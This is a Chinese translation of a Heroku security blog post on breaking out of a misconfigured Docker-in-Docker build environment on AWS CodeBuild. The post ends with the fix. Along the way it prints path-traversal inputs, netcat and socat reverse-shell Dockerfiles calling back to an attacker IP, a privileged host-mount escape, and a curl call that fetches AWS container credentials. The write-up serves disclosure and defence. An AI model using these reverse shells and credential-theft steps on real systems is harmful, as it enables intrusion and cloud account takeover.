这篇文章最初出现在 Heroku 的工程博客.

容器,特别是 Docker,风靡一时。大多数 DevOps 设置都在 CI 管道中的某个位置使用 Docker。这可能意味着您看到的任何 build 环境都将使用容器解决方案,例如 Docker。这些构建环境需要获取_untrusted_ 用户提供的代码并执行它。尝试并安全地将其容器化以最大程度地降低风险是有意义的。

在这篇文章中,我们将探讨构建环境中的一个小错误配置如何造成严重的安全风险。

需要注意的是,这篇文章没有描述 Heroku、Docker、AWS CodeBuild 或一般容器中的任何固有漏洞,而是讨论了在查看基于 Docker 容器的多租户构建环境时发现的配置错误问题。这些技术提供了非常可靠的开箱即用的安全默认设置,但是当事情开始分层时,有时小的错误配置可能会导致大问题。

建筑物

一个可能的构建环境可能具有以下架构:

  • 用于基础设施“托管”的 AWS CodeBuild

  • Docker 构建服务中的 Docker 容器

Docker 容器可以通过Dind创建,理论上,你最终会得到两个攻击者需要逃脱的容器。使用 CodeBuild 可以进一步最小化攻击面,因为您拥有 AWS 提供的一次性容器,并且租户之间不存在交互构建过程的危险。

让我们看一下建议的构建过程,更具体地说,攻击者如何能够控制构建过程。

在大多数构建/CI 管道中要做的第一件事是使用您希望构建和部署的代码创建一个git存储库。这将被打包并转移到构建环境,然后传递到docker build进程。

查看构建服务,您通常会发现可以通过 Dockerfileconfig.yml 配置容器的两种方式,这两种方式都与源代码捆绑在一起。

一个 CI 配置文件,我们称之为 config-ci.yml,如下所示:

image: ruby:2.1
services:
 - postgres

before_script:
 - bundle install

after_script:
 - rm secrets

stages:
 - build
 - test
 - deploy

进入全屏模式 退出全屏模式

然后,在构建的其余部分开始之前,该文件将通过构建过程转换为 Dockerfile。

如果您明确指定要使用的 Dockerfile,请将 config-ci.yml 更改为以下内容:

docker:
     web: Dockerfile_Web
     worker: Dockerfile_Worker

进入全屏模式 退出全屏模式

其中Dockerfile_WebDockerfile_Worker是源代码存储库中 Dockerfile 的相对路径和名称。

现在已经提供了构建信息,可以启动构建。构建通常通过源存储库上的git push启动。启动此操作后,您将看到类似于以下内容的输出:

Counting objects: 22, done.
Delta compression using up to 8 threads.
Compressing objects: 100% (21/21), done.
Writing objects: 100% (22/22), 7.11 KiB | 7.11 MiB/s, done.
Total 22 (delta 11), reused 0 (delta 0)
remote: Compressing source files... done.
remote: Building source:
remote: Downloading application source...
remote: Sending build context to Docker daemon 19.97kB
remote: Step 1/9 : FROM alpine:latest
remote: latest: Pulling from library/alpine
remote: b56ae66c2937: Pulling fs layer
remote: b56ae66c2937: Download complete
remote: b56ae66c2937: Pull complete
remote: Digest: sha256:d6bfc3baf615209a8d607ba2a8103d9c8a405b3bd8741d88b4bef36478
remote: Status: Downloaded newer image for alpine:latest
remote: ---> 053cde6e8953
remote: Step 2/9 : RUN apk add --update --no-cache netcat-openbsd docker

进入全屏模式 退出全屏模式

如您所见,我们将docker build -f Dockerfile .的输出返回给我们,这对于调试很有用,但对于查看可能的攻击也很有用。

攻击预建

想到的第一个想法是在我们进入docker build步骤之前尝试中断构建过程。或者,我们可以尝试尝试将 CodeBuild 环境中的文件链接到我们的 Docker 构建上下文中。

由于我们控制了 config-ci.yml 文件的内容,更具体地说是_“要使用的 Dockerfile 的相对路径”_,我们可以尝试老式的目录遍历攻击。

对此的第一次尝试是简单地尝试更改用于构建的目录:

docker:
   web: ../../../../../

进入全屏模式 退出全屏模式

构建过程开始后,我们立即收到以下错误:

Error response from daemon: unexpected error reading Dockerfile: read /var/lib/docker/tmp/docker-builder991278373/output: is a directory

进入全屏模式 退出全屏模式

有趣的是,我们导致了一个错误并且发生了路径泄漏。如果我们尝试“read”一个文件会发生什么?

docker:
   web: ../../../../../../../etc/passwd

进入全屏模式 退出全屏模式

突然间,我们遇到了来自 Docker 守护进程的解析错误。不幸的是,这只会给我们系统上的第一行文件。尽管如此,一个有趣的开始。

Error response from daemon: Dockerfile parse error line 1: unknown instruction: ROOT:X:0:0:ROOT:/ROOT:/BIN/BASH
t-
Error response from daemon: Dockerfile parse error line 1: unknown instruction: ROOT:*:17445:0:99999:7:::

进入全屏模式 退出全屏模式

这里的另一个想法可能是尝试使用符号链接将文件包含到我们的构建中。幸运的是,Docker 阻止了这种情况,因为它不会将构建目录之外的文件包含到构建上下文中。

攻击构建:发现漏洞

是时候回到实际的构建过程,看看我们可以攻击什么了。快速复习:构建过程发生在dindDocker 容器中,该容器在一次性 CodeBuild 实例中运行。为了进一步添加到我们的层,docker build进程在一次性 Docker 容器中运行所有命令。这是 Docker 的标准票价,Docker 构建的每一步实际上都是一个新的 Docker 容器,从我们构建过程的输出中可以看出。

remote: ---> 053cde6e8953
remote: Step 2/9 : RUN apk add --update --no-cache netcat-openbsd docker
remote: ---> Running in e7e10023b1fc

进入全屏模式 退出全屏模式

在上述情况下,步骤 2/9 在一个新的 Docker 容器 e7e10023b1fc 中执行。因此,即使用户决定在 Dockerfile 中插入一些恶意代码,它们也应该在一次性、隔离的容器中运行,不会造成任何损害。如下图所示;

@media 仅屏幕和

(最小宽度:415px){

#diagram1 { 宽度:70%; }

}

@media 仅屏幕和

(最大宽度:414px)

和(方向:纵向){

#diagram1 { 宽度:100%; }

}

[](https://res.cloudinary.com/practicaldev/image/fetch/s--9KmBgdwj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://heroku-blog-files. s3.amazonaws.com/posts/1520389661-docker-blog-post-graphics-01.jpg)

发出 Docker 命令时,这些命令实际上被传递给dockerd守护进程,该守护进程负责创建/运行/管理 Docker 映像。要使 dind 工作,它需要运行自己的 Docker 守护程序。但是,dind 的实现方式使用主机系统的 dockerd 实例,允许主机和 dind 共享 Docker 映像并从 Docker 所做的所有缓存中受益。

如果使用以下包装脚本启动 Dind 会怎样:

/usr/local/bin/dind dockerd \
   --host=unix:///var/run/docker.sock \
   --host=tcp://0.0.0.0:2375 \
   --storage-driver=overlay &>/var/log/docker.log

进入全屏模式 退出全屏模式

其中/usr/local/bin/dind只是一个让 Docker 在容器内运行的包装脚本。

包装脚本确保来自主机的 Docker 套接字在容器内可用。此特定配置引入了安全漏洞。

通常docker build进程无法与 Docker 守护进程交互,但在这种情况下,我们可以。敏锐的观察者可能会注意到dockerd守护进程的 TCP 端口也通过--host=tcp://0.0.0.0:2375映射。这种错误配置将 Docker 守护进程设置为侦听容器的所有接口。由于 Docker 网络功能的方式,这成为一个问题。除非另有说明,否则所有容器都放入相同的默认 Docker 网络。这意味着每个容器都能够不受阻碍地与其他容器进行通信。

现在在我们的构建过程中,我们的临时构建容器(执行用户代码的那个)能够向托管它的 dind 容器发出网络请求。而且由于 dind 容器只是重用主机系统的 Docker 守护程序,我们实际上直接向主机系统 AWS CodeBuild 发出命令。

Dockerfiles攻击时

为了测试这一点,可以将以下 Dockerfile 提供给构建系统,使我们能够以交互方式访问正在构建的容器。这只是允许更快的探索,而不是每次都等待构建过程完成;

FROM alpine:latest

RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0</tmp/back | nc x.x.x.x 4445 1>/tmp/back

进入全屏模式 退出全屏模式

是的,反向shell可以在一堆不同的方式中完成。

这个 Dockerfile 安装了一些依赖项,即dockernetcat。然后它将我们源代码目录中的文件复制到构建容器中。这将在后面的步骤中需要,并且还可以更轻松地将我们的完整漏洞快速转移到系统中。mknod指令创建一个文件系统节点,允许通过文件重定向标准输入和标准输出。使用netcat打开一个反向 shell。我们还需要在我们使用公共 IP 地址控制的系统上为这个反向 shell 设置一个侦听器。

nc -lv 4445

进入全屏模式 退出全屏模式

现在,当构建发生时,将收到反向连接:

[ec2-user@ip-172-31-18-217 ~]$ nc -lv 4445
Connection from 34.228.4.217 port 4445 [tcp/upnotifyp] accepted

ls
bin
dev
etc
files
home
lib
media
mnt
proc
root

进入全屏模式 退出全屏模式

现在通过远程、交互式访问,我们可以检查是否可以访问 Docker 守护进程:

docker -H 172.18.0.1 version

进入全屏模式 退出全屏模式

我们使用-H 172.18.0.1指定 remote 主机。使用该地址是因为我们发现 Docker 使用的网络范围是172.18.0.0/16。为了找到这个,我们的交互式 shell 用于执行ip addrip route以获取分配给我们的网络构建容器。请记住,默认情况下,所有 Docker 容器都会被放入同一个网络。默认网关是运行 Docker 守护程序的实例。

Client:
Version: 17.05.0-ce
API version: 1.29
Go version: go1.8.1
Git commit: v17.05.0-ce
Built: Tue May 16 10:10:15 2017
OS/Arch: linux/amd64

Server:
Version: 17.09.0-ce
API version: 1.32 (minimum version 1.12)
Go version: go1.8.3
Git commit: afdb6d4
Built: Tue Sep 26 22:40:56 2017
OS/Arch: linux/amd64
Experimental: false

进入全屏模式 退出全屏模式

成功!此时,我们可以从正在构建的容器中访问 Docker。下一步是启动一个具有额外权限的新容器。

堆叠它们

我们有一个外壳,但它在一次性构建容器中 - 不是很有帮助。我们还可以访问 Docker 守护进程。把两者结合起来怎么样?为此,我们引入了第二个 Dockerfile,它在构建和运行时将创建一个反向 shell。我们启动第二个监听器来捕捉新的 shell。

FROM alpine:latest

RUN apk add --update --no-cache bash socat
CMD socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:4446

进入全屏模式 退出全屏模式

这在源代码目录中保存为 Dockerfile2。现在,当源代码文件被复制到构建容器中时,我们可以直接访问它。

当我们重新运行构建过程时,我们将在端口 4445 上获得我们的第一个反向 shell,这将我们留在构建容器中。现在我们可以构建Dockerfile2,它被复制到我们的构建容器中,编号为COPY * /files/;

cd files
docker -H 172.18.0.1 build -f Dockerfile2 -t pew .

进入全屏模式 退出全屏模式

现在使用主机 Docker 守护程序构建了一个新的 Docker 映像并且可用。我们只需要运行它。这里需要一个额外的技巧,我们需要通过根目录映射到新的 Docker 容器。这可以通过-v /:/vhost完成。

在我们的第一个反向 shell 中:

docker -H 172.18.0.1 run -d --privileged --net=host -v /:/vhost pew

进入全屏模式 退出全屏模式

一个新的反向 shell 现在将连接到我们的攻击者系统上的端口 4446。这会将我们放入一个新容器中的外壳,可以直接访问底层 CodeBuild 主机的文件系统和网络。这是因为--net=host将通过主机网络进行映射,而不是将容器保持在隔离网络中。其次,由于 Docker 守护进程是在宿主系统上运行的,所以当与-v /:/vhost的文件映射完成后,宿主系统的文件系统就会映射通过。

[](https://res.cloudinary.com/practicaldev/image/fetch/s--nwwQLGfu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://heroku-blog-files。 s3.amazonaws.com/posts/1520555459-diagram3-blog-post-graphics-01-v2.jpg)

在新的反向 shell 中,现在可以探索底层主机文件系统。通过检查/etc/passwd/vhost/etc/passwd之间的差异,我们可以证明在与这个文件系统交互时我们不在 Docker 之外。

/vhost内部,我们还发现有一个新目录,这清楚地表明我们在 CodeBuild 实例文件系统中,而不仅仅是任何 Docker 容器;

243e490ebd3:/# cd /vhost/
3243e490ebd3:/vhost# ls
bin dev lib mnt root srv usr
boot etc lib64 opt run sys var
codebuild home media proc sbin tmp

进入全屏模式 退出全屏模式

奇迹发生在codebuild内部。这就是 AWS Codebuild 用来控制构建环境的方法。快速浏览一下会发现一些有趣的数据。

3243e490ebd3:/vhost/codebuild# cat output/tmp/env.sh
export AWS_CONTAINER_CREDENTIALS_RELATIVE_URI='/v2/credentials/e13864de-c2aa-44ab-be11-59137341289d'
export AWS_DEFAULT_REGION='us-east-1'
export AWS_REGION='us-east-1'
export BUILD_ENQUEUED_AT='2017-11-20T15:06:37Z'
export CODEBUILD_AUTH_TOKEN='11111111-2222-3333-4444-555555555555'
export CODEBUILD_BMR_URL='https://CODEBUILD_AGENT:3000'
export CODEBUILD_BUILD_ARN='arn:aws:codebuild:us-east-1:00112233445566:user:11111111-2222-3333-4444-555555555555'
export CODEBUILD_BUILD_ID='111111:11111111-2222-3333-4444-555555555555'
export CODEBUILD_BUILD_IMAGE='codebuild/image'
export CODEBUILD_BUILD_SUCCEEDING='1'
export CODEBUILD_GOPATH='/codebuild/output/src794734460'
export CODEBUILD_INITIATOR='api-client-production'
export CODEBUILD_KMS_KEY_ID='arn:aws:kms:us-east-1:112233445566:alias/aws/s3'
export CODEBUILD_LAST_EXIT='0'
export CODEBUILD_LOG_PATH='0ff0b448-6bed-4af1-8be5-539233fa2e9e'
export CODEBUILD_SOURCE_REPO_URL='builder/builder-source.zip'
export CODEBUILD_SRC_DIR='/codebuild/output/src794734460/src/builder-source.zip'
export DIND_COMMIT='3b5fac462d21ca164b3778647420016315289034'
export DOCKER_VERSION='17.09.0~ce-0~ubuntu'
export GOPATH='/codebuild/output/src794734460'
export HOME='/root'
export HOSTNAME='3243e490ebd3'
...

进入全屏模式 退出全屏模式

此时,我们通常会尝试提取 AWS 凭证并进行数据透视。为此,我们需要使用AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

curl -i http://169.254.170.2/v2/credentials/e13864de-c2aa-44ab-be11-59137341289d

{"RoleArn":"AQIC...",
"AccessKeyId":"ASIA....",
"SecretAccessKey":"uVNs32...",
"Token":"AgoGb3JpZ2luEJP...",
"Expiration":"2017-11-20T16:06:50Z"}

进入全屏模式 退出全屏模式

根据与该 IAM 关联的权限,现在应该有机会在 AWS 环境中移动。

上述步骤可以自动化并仅使用一个反向 shell 完成,但是请记住,您需要保持构建环境_alive_。在这里有一个反向外壳可以做到这一点,但是一个长时间运行的过程也应该可以解决问题。最主要的是你不希望最初的docker build完成,因为这将启动你的构建环境的拆除。另外,请注意,大多数构建环境往往会给您 30-60 分钟的时间,然后它们就会被自动拆除。

修补

在这种情况下,修复非常简单,永远不要在所有接口上绑定 Docker 守护程序。从包装脚本中删除第--host=tcp://0.0.0.0:2375行可以解决这个问题。无需绑定到 TCP 端口,因为 unix 套接字已经通过--host=unix:///var/run/docker.sock映射。

结论

容器提供了一种很好的机制来创建运行不受信任的代码的安全环境,而无需额外的虚拟化。然而,这些容器仅与它们的配置一样安全。默认情况下它们非常安全,但是只需一次错误配置就可以摧毁整堆卡片。构建环境提供了一个有趣的架构挑战,您总是需要从安全层的角度进行思考。

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐